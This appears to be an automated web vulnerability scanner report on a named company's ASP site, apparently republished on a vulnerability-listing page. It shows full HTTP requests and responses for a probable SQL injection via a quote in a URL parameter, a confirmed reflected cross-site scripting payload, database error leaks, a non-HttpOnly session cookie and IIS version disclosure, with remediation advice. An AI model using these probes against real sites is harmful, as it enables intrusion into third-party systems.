SQL Injection, Database Error, expertsystems.net, CWE-89, CAPEC-66, DORK, GHDB

SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /page.asp

/page.asp

http://expertsystem.net/page.asp?id=1519&idd=%2527

Parameters

Parameter	Type	Value
id	GET	1519
idd	GET	%27

Request

GET /page.asp?id=1519&idd=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: expertsystem.net
Cookie: ASPSESSIONIDCACDTTDR=JAFIGGPCJOJPHKAPBJOFKIPI
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 02 May 2011 22:30:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 584
Content-Type: text/html
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<font face="Arial" size=2><p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>error '80040e21'</font><p><font face="Arial" size=2>ODBC driver does not support the requested properties.</font><p><font face="Arial" size=2>/includes/_funzioni.asp</font><font face="Arial" size=2>, line 13</font>

- /page.asp

/page.asp CONFIRMED

http://expertsystem.net/page.asp?'"--></style></script><script>alert(0x000013)</script>

Parameters

Parameter	Type	Value
id	GET	1519
idd	GET	155
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x000013)</script>

Request

GET /page.asp?'"--></style></script><script>netsparker(0x000013)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: expertsystem.net
Cookie: ASPSESSIONIDCACDTTDR=JAFIGGPCJOJPHKAPBJOFKIPI
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 02 May 2011 22:30:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 9043
Content-Type: text/html
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<meta name="description" content="Expert System, market leader in semantic technology, develops advanced linguistic software thanks to COGITO�, the exclusive platform for language comprehension."/>
<meta name="keywords" content="Cogito, conceptual search, language technology, classification, text mining, Homeland security intelligence, marketing intelligence" />
<meta name="author" content="Expert Web srl http://www.expertweb.it" />
<meta name="distribution" content="global" />
<meta name="revisit-after" content="1 DAYS" />
<meta name="language" content="it" />
<meta name="robots" content="index, follow" />
<meta http-equiv="reply-to" content="info@expertsystem.it" />
<meta name="rating" content="Global" />

<title>Expert System</title>

<script src="java/menu/fsmenu.js" type="text/javascript"></script>

<script type="text/javascript" src="java/slideshow.js"></script>

<link href="ExpertSystemWeb.css" rel="stylesheet" type="text/css" media="screen" />
<link href="ExpertSystemPrint.css" rel="stylesheet" type="text/css" media="print" />
</head>
<body id="home">
<div id ="content">
<div id="header">
<div id="logoTestata"><a href="index.asp"><img src="img/logo.jpg" /></a></div>
<div id="menuTestata">
<div id="menu1liv">

<ul class="menulist" id="listMenuRoot">

<li>
<a href="page.asp?id=1515">ABOUT US <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1515&idd=9">History</a></li>
<li class="second"><a href="page.asp?id=1515&idd=199">Management</a></li>
<li class="second"><a href="page.asp?id=1515&idd=200">Cogito � a unique technology</a></li>
<li class="second"><a href="page.asp?id=1515&idd=208">Why Semantic Intelligence?</a></li>
<li class="second"><a href="page.asp?id=1515&idd=218">Awards</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1519">SOLUTIONS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1519&idd=204">Knowledge Management</a></li>
<li class="second"><a href="page.asp?id=1519&idd=205">Customer Care</a></li>
<li class="second"><a href="page.asp?id=1519&idd=206">Intelligence</a></li>
<li class="second"><a href="page.asp?id=1519&idd=155">Mobile</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1555">MARKETS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1555&idd=156">Automotive & Manufacturing</a></li>
<li class="second"><a href="page.asp?id=1555&idd=220">Telco & Mobile</a></li>
<li class="second"><a href="page.asp?id=1555&idd=163">Energy & Utilities</a></li>
<li class="second"><a href="page.asp?id=1555&idd=159">Finance</a></li>
<li class="second"><a href="page.asp?id=1555&idd=157">Media & Advertising</a></li>
<li class="second"><a href="page.asp?id=1555&idd=160">Government & Transportation</a></li>
<li class="second"><a href="page.asp?id=1555&idd=169">Life Science & Pharma</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1521">PRODUCTS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1521&idd=194">Cogito Search Explore Engine</a></li>
<li class="second"><a href="page.asp?id=1521&idd=19">Cogito Categorizer</a></li>
<li class="second"><a href="page.asp?id=1521&idd=27">Cogito Discover</a></li>
<li class="second"><a href="page.asp?id=1521&idd=191">Cogito Monitor</a></li>
<li class="second"><a href="page.asp?id=1521&idd=221">Cogito Answers</a></li>
<li class="second"><a href="page.asp?id=1521&idd=25">Cogito Intelligence Platform</a></li>

</ul>

</li>

<li>
<a href="clienti_home.asp?id=1527">CUSTOMERS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=1"> Telco & Mobile</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=2"> Energy & Utilities</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=3"> Automotive & Manufacturing</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=4"> Finance</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=5"> Media & Advertising</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=6"> Government & Transportation</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=7"> Life Science & Pharma</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=8"> Homeland Security</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1534">PARTNERS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1534&idd=213">OEM & Partners</a></li>
<li class="second"><a href="page.asp?id=1534&idd=185">Cogito SIMS, the first advanced linguistic SDK</a></li>

</ul>

</li>

<li>
<a href="vetrinanews.asp?id=1536">NEWS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="archivionews.asp?id=1538">News</a></li><li class="second"><a href="archivionews.asp?id=1544">Media</a></li><li class="second"><a href="archivionews.asp?id=1545">Events</a></li><li class="second"><a href="archivionews.asp?id=1549">Webinars</a></li>
</ul>

</li>

<li>
<a href="page.asp?id=1539">CONTACTS <img src="img/ico_dropdown.gif" alt="" /></a>

</li>

<li><a href="http://www.expertsystem.net/blog" target="_blank" title="Cogito">     BLOG</a></li>

</ul>
<SCRIPT src="java/menu.js" type="text/javascript"></SCRIPT>
</div>

<div id="menu2liv">
<ul id="menu2">
<li><a href="page.asp?id=1541&idd=203">Careers</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="page.asp?id=1566&idd=202">Press Office</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="demo_prodotti.asp?id=1554">COGITO-demo</a> <img src="img/ico_dropdown.gif" alt="" /></li>
<li><a href="#" onClick="window.open('registra.asp','','menubar=0,toolbar=0,location=0,resizable=0,scrollbars=0,height=550,width=530')">newsletter</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="http://www.expertsystem.it/page.asp?lang=0&'"--></style></script><script>netsparker(0x000013)</script>">italiano</a> <img src="img/ico_dropdown.gif" alt="" /> </li>

<li><a href="SiteMap_ENG.asp" title="Sitemap">
Sitemap

</a><img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="index.asp" title="home page">HOME</a></li>
</ul>
</div>
</div>
</div>
<img src="../img/testataSub_ENG.jpg" alt="" width="960" height="127" border="0" usemap="#Map" />
<map name="Map" id="Map">
<area shape="rect" coords="2,1,167,90" href="page.asp?id=1519&idd=204" title="Knowledge Management" />
<area shape="rect" coords="167,1,331,90" href="page.asp?id=1519&idd=205" title="Customeer Care" />
<area shape="rect" coords="332,1,495,90" href="page.asp?id=1519&idd=206" title="Corporate Intelligence" />
<area shape="rect" coords="498,1,663,19" href="page.asp?id=1519&idd=155" title="Mobile" />
<area shape="poly" coords="498,90,663,90,663,26,544,26,524,31,510,43,502,56,498,65" href="page.asp?id=1519&idd=155" title="Mobile" />
<area shape="poly" coords="665,25,916,27,934,33,952,47,958,57,958,89,664,91" href="page.asp?id=1515&idd=200" title="COGITO" />
</map>

<table id="container_pages" cellpadding="0" cellspacing="0">
<tr>
<font face="Arial" size=2><p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>error '80040e21'</font><p><font face="Arial" size=2>ODBC driver does not support the requested properties.</font><p><font face="Arial" size=2>/page.asp</font><font face="Arial" size=2>, line 26</font>

- /page.asp

/page.asp CONFIRMED

http://expertsystem.net/page.asp?id=1519&idd=%2527

Parameters

Parameter	Type	Value
id	GET	1519
idd	GET	%27

Request

Response

- /page.asp

/page.asp CONFIRMED

http://expertsystem.net/page.asp?id=1519&idd=155

Identified Cookie

ASPSESSIONIDCACDTTDR

Request

GET /page.asp?id=1519&idd=155 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: expertsystem.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 22:30:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 17230
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCACDTTDR=JAFIGGPCJOJPHKAPBJOFKIPI; path=/
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<meta name="description" content="Expert System, market leader in semantic technology, develops advanced linguistic software thanks to COGITO�, the exclusive platform for language comprehension."/>
<meta name="keywords" content="Cogito, conceptual search, language technology, classification, text mining, Homeland security intelligence, marketing intelligence" />
<meta name="author" content="Expert Web srl http://www.expertweb.it" />
<meta name="distribution" content="global" />
<meta name="revisit-after" content="1 DAYS" />
<meta name="language" content="it" />
<meta name="robots" content="index, follow" />
<meta http-equiv="reply-to" content="info@expertsystem.it" />
<meta name="rating" content="Global" />

<title>Expert System - Solutions - Mobile</title>

<script src="java/menu/fsmenu.js" type="text/javascript"></script>

<script type="text/javascript" src="java/slideshow.js"></script>

<link href="ExpertSystemWeb.css" rel="stylesheet" type="text/css" media="screen" />
<link href="ExpertSystemPrint.css" rel="stylesheet" type="text/css" media="print" />
</head>
<body id="home">
<div id ="content">
<div id="header">
<div id="logoTestata"><a href="index.asp"><img src="img/logo.jpg" /></a></div>
<div id="menuTestata">
<div id="menu1liv">

<ul class="menulist" id="listMenuRoot">

<li>
<a href="page.asp?id=1515">ABOUT US <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1515&idd=9">History</a></li>
<li class="second"><a href="page.asp?id=1515&idd=199">Management</a></li>
<li class="second"><a href="page.asp?id=1515&idd=200">Cogito � a unique technology</a></li>
<li class="second"><a href="page.asp?id=1515&idd=208">Why Semantic Intelligence?</a></li>
<li class="second"><a href="page.asp?id=1515&idd=218">Awards</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1519">SOLUTIONS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1519&idd=204">Knowledge Management</a></li>
<li class="second"><a href="page.asp?id=1519&idd=205">Customer Care</a></li>
<li class="second"><a href="page.asp?id=1519&idd=206">Intelligence</a></li>
<li class="second"><a href="page.asp?id=1519&idd=155">Mobile</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1555">MARKETS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1555&idd=156">Automotive & Manufacturing</a></li>
<li class="second"><a href="page.asp?id=1555&idd=220">Telco & Mobile</a></li>
<li class="second"><a href="page.asp?id=1555&idd=163">Energy & Utilities</a></li>
<li class="second"><a href="page.asp?id=1555&idd=159">Finance</a></li>
<li class="second"><a href="page.asp?id=1555&idd=157">Media & Advertising</a></li>
<li class="second"><a href="page.asp?id=1555&idd=160">Government & Transportation</a></li>
<li class="second"><a href="page.asp?id=1555&idd=169">Life Science & Pharma</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1521">PRODUCTS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1521&idd=194">Cogito Search Explore Engine</a></li>
<li class="second"><a href="page.asp?id=1521&idd=19">Cogito Categorizer</a></li>
<li class="second"><a href="page.asp?id=1521&idd=27">Cogito Discover</a></li>
<li class="second"><a href="page.asp?id=1521&idd=191">Cogito Monitor</a></li>
<li class="second"><a href="page.asp?id=1521&idd=221">Cogito Answers</a></li>
<li class="second"><a href="page.asp?id=1521&idd=25">Cogito Intelligence Platform</a></li>

</ul>

</li>

<li>
<a href="clienti_home.asp?id=1527">CUSTOMERS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=1"> Telco & Mobile</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=2"> Energy & Utilities</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=3"> Automotive & Manufacturing</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=4"> Finance</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=5"> Media & Advertising</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=6"> Government & Transportation</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=7"> Life Science & Pharma</a></li>

<li class="second"><a href="clienti_elenco.asp?id=1527&idcateg=8"> Homeland Security</a></li>

</ul>

</li>

<li>
<a href="page.asp?id=1534">PARTNERS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="page.asp?id=1534&idd=213">OEM & Partners</a></li>
<li class="second"><a href="page.asp?id=1534&idd=185">Cogito SIMS, the first advanced linguistic SDK</a></li>

</ul>

</li>

<li>
<a href="vetrinanews.asp?id=1536">NEWS <img src="img/ico_dropdown.gif" alt="" /></a>

<ul>
<li class="second"><a href="archivionews.asp?id=1538">News</a></li><li class="second"><a href="archivionews.asp?id=1544">Media</a></li><li class="second"><a href="archivionews.asp?id=1545">Events</a></li><li class="second"><a href="archivionews.asp?id=1549">Webinars</a></li>
</ul>

</li>

<li>
<a href="page.asp?id=1539">CONTACTS <img src="img/ico_dropdown.gif" alt="" /></a>

</li>

<li><a href="http://www.expertsystem.net/blog" target="_blank" title="Cogito">     BLOG</a></li>

</ul>
<SCRIPT src="java/menu.js" type="text/javascript"></SCRIPT>
</div>

<div id="menu2liv">
<ul id="menu2">
<li><a href="page.asp?id=1541&idd=203">Careers</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="page.asp?id=1566&idd=202">Press Office</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="demo_prodotti.asp?id=1554">COGITO-demo</a> <img src="img/ico_dropdown.gif" alt="" /></li>
<li><a href="#" onClick="window.open('registra.asp','','menubar=0,toolbar=0,location=0,resizable=0,scrollbars=0,height=550,width=530')">newsletter</a> <img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="http://www.expertsystem.it/page.asp?lang=0&id=1519&idd=155">italiano</a> <img src="img/ico_dropdown.gif" alt="" /> </li>

<li><a href="SiteMap_ENG.asp" title="Sitemap">
Sitemap

</a><img src="img/ico_dropdown.gif" alt="" /> </li>
<li><a href="index.asp" title="home page">HOME</a></li>
</ul>
</div>
</div>
</div>
<img src="../img/testataSub_ENG.jpg" alt="" width="960" height="127" border="0" usemap="#Map" />
<map name="Map" id="Map">
<area shape="rect" coords="2,1,167,90" href="page.asp?id=1519&idd=204" title="Knowledge Management" />
<area shape="rect" coords="167,1,331,90" href="page.asp?id=1519&idd=205" title="Customeer Care" />
<area shape="rect" coords="332,1,495,90" href="page.asp?id=1519&idd=206" title="Corporate Intelligence" />
<area shape="rect" coords="498,1,663,19" href="page.asp?id=1519&idd=155" title="Mobile" />
<area shape="poly" coords="498,90,663,90,663,26,544,26,524,31,510,43,502,56,498,65" href="page.asp?id=1519&idd=155" title="Mobile" />
<area shape="poly" coords="665,25,916,27,934,33,952,47,958,57,958,89,664,91" href="page.asp?id=1515&idd=200" title="COGITO" />
</map>

<table id="container_pages" cellpadding="0" cellspacing="0">
<tr>

<td width="210" valign="top" id="sx">
<div id="titolo"><h1><a href="page.asp?id=1519">Solutions</a></h1></div>
<ul>

<li ><a href="page.asp?id=1519&idd=204" title="Knowledge Management">Knowledge Management</a></li>

<li ><a href="page.asp?id=1519&idd=205" title="Customer Care">Customer Care</a></li>

<li ><a href="page.asp?id=1519&idd=206" title="Intelligence">Intelligence</a></li>

<li class="active" ><a href="page.asp?id=1519&idd=155" title="Mobile">Mobile</a></li>

</ul>
<table id="box" class="boxflash" cellpadding="0" cellspacing="0">
<tr>
<th><img src="img/t_awards_ENG.gif" alt="Awards" /></th>
</tr>
<tr>
<td class="imgpremi">

<div id="foto">

<input type="hidden" id="caricaimg" value="/documenti/immagini/premi/2008-sw500-logo.jpg�/documenti/immagini/premi/2009_finalist.jpg�/documenti/immagini/premi/aba09_finalist.jpg�/documenti/immagini/premi/bpicon_final_bip.jpg�/documenti/immagini/premi/eta_w2009_3rdplace.jpg�/documenti/immagini/premi/ses_awards_finalist.gif�/documenti/immagini/awards/sewawards.jpg�/documenti/immagini/awards/software500_150pix.jpg�/documenti/immagini/awards/gma_150.jpg�/documenti/immagini/awards/gartner_150.jpg�/documenti/immagini/awards/2009mobilestarawards_superstar_150x100.jpg�/documenti/immagini/awards/logo_italia_degli_innovatori180.jpg�/documenti/immagini/awards/Premio innovazione_180.jpg�/documenti/immagini/awards/aba10_winner_s.jpg�/documenti/immagini/awards/09 finalist km promise_120.jpg�/documenti/immagini/awards/2010-sw500.jpg�/documenti/immagini/awards/idc innovative logo_150.jpg�/documenti/immagini/awards/smau_coccarda_150.jpg�/documenti/immagini/awards/2010mobilestarawards_shiningstar_150x100.jpg�/documenti/immagini/premi/kmworld2011_150.gif�/documenti/immagini/awards/CODiE_2011_award_logo.jpg�" />
<img id="SLIDESIMG" name="SLIDESIMG" src="" style="display:block;margin:auto;" />

<script type="text/javascript">
SLIDES = new slideshow("SLIDES");
if (document.getElementById("caricaimg").value!='')
{
var a = document.getElementById("caricaimg").value.split('�')

//alert(a.length)
if (a.length>1 )
{
for (var i = 0; i < a.length; i++)
{
if (a[i])
{
s = new slide(a[i]);
SLIDES.add_slide(s);
}
}

if (document.images)
{
SLIDES.set_image(document.images.SLIDESIMG);

var fadein_opacity = 1;
var fadein_img = SLIDES.image;
function fadein(opacity)
{
if (typeof opacity != 'undefined') { fadein_opacity = opacity; }
if (fadein_opacity < 0.99 && fadein_img && fadein_img.style && typeof fadein_img.style.MozOpacity != 'undefined')
{
fadein_opacity += .01;
fadein_img.style.MozOpacity = fadein_opacity;
setTimeout("fadein()", 5);
}
}
// Tell the slideshow to call our function whenever the slide is changed
SLIDES.post_update_hook = function() { fadein(1); }

SLIDES.update();
SLIDES.play();
}
}
}
</script>
</div>

</td>
</tr>
<tr>
<td>
<p>
<a href="page.asp?id=1515&idd=218">Click here for more Awards</a>

</p>
<img src="img/home_bottom.gif" alt="" />
</td>
</tr>
</table>
</td>

<td valign="top" id="center">

<h3>Mobile</h3>
<p><span style="font-size: x-small"><strong><em>Answers always at hand, wherever you are<br /><br /><br /></em></strong><img src="http://expertsystem.net/documenti/immagini/sport/montagna.jpg" alt="" width="523" height="269" /></span></p><p>Trends in mobile smartphone adoption featuring high speed mobile networks and wireless data extensibility for both corporate and consumer users have been steadily increasing.<br /><br />Expert System's mobile solutions offer enterprises the freedom to extend corporate information with a very quick ROI for those looking to add to their BlackBerry or Smartphone deployment above and beyond Email�and Personal Information Management (PIM). </p><p>�</p><p><span style="font-family: Verdana">Expert System's mobile solutions�</span>are based on Cogito,�which leverages semantics that power and greatly enhance high value applications through natural information access and user interface.� Cogito's mobile solutions enable time sensitive� information access from unstructured and legacy data stores � documents, knowledge bases, Intranets and CRM applications like mobile self help and Intranet search. Cogito's natural language search operates as simply as sending/receiving an email message from a colleague res..

- /page.asp

/page.asp

http://expertsystem.net/page.asp?id=1519&idd=%2527

Parameters

Parameter	Type	Value
id	GET	1519
idd	GET	%27

VULNERABILITIES Vulnerabilities
	CRITICAL 14 % IMPORTANT 14 % LOW 43 % INFORMATION 29 %

expertsystems.net, SQL Injection REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Total Requests

Average Speed

DORK TESTS

VULNERABILITIES

VULNERABILITY SUMMARY

[Probable] SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

/page.asp

Parameters

Request

Response

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/page.asp CONFIRMED

Parameters

Request

Response

Internal Server Error

Impact

Remedy

/page.asp CONFIRMED

Parameters

Request

Response

Cookie Not Marked As HttpOnly

Impact

Actions to Take

Remedy

External References

/page.asp CONFIRMED

Identified Cookie

Request

Response

Database Error Message

Impact

Remedy

/page.asp

Parameters

Request

Response

E-mail Address Disclosure

Impact

Remedy

External References

/page.asp

Found E-mails

Request

Response

IIS Version Disclosure

Impact

Remediation

/page.asp

Extracted Version

Request

Response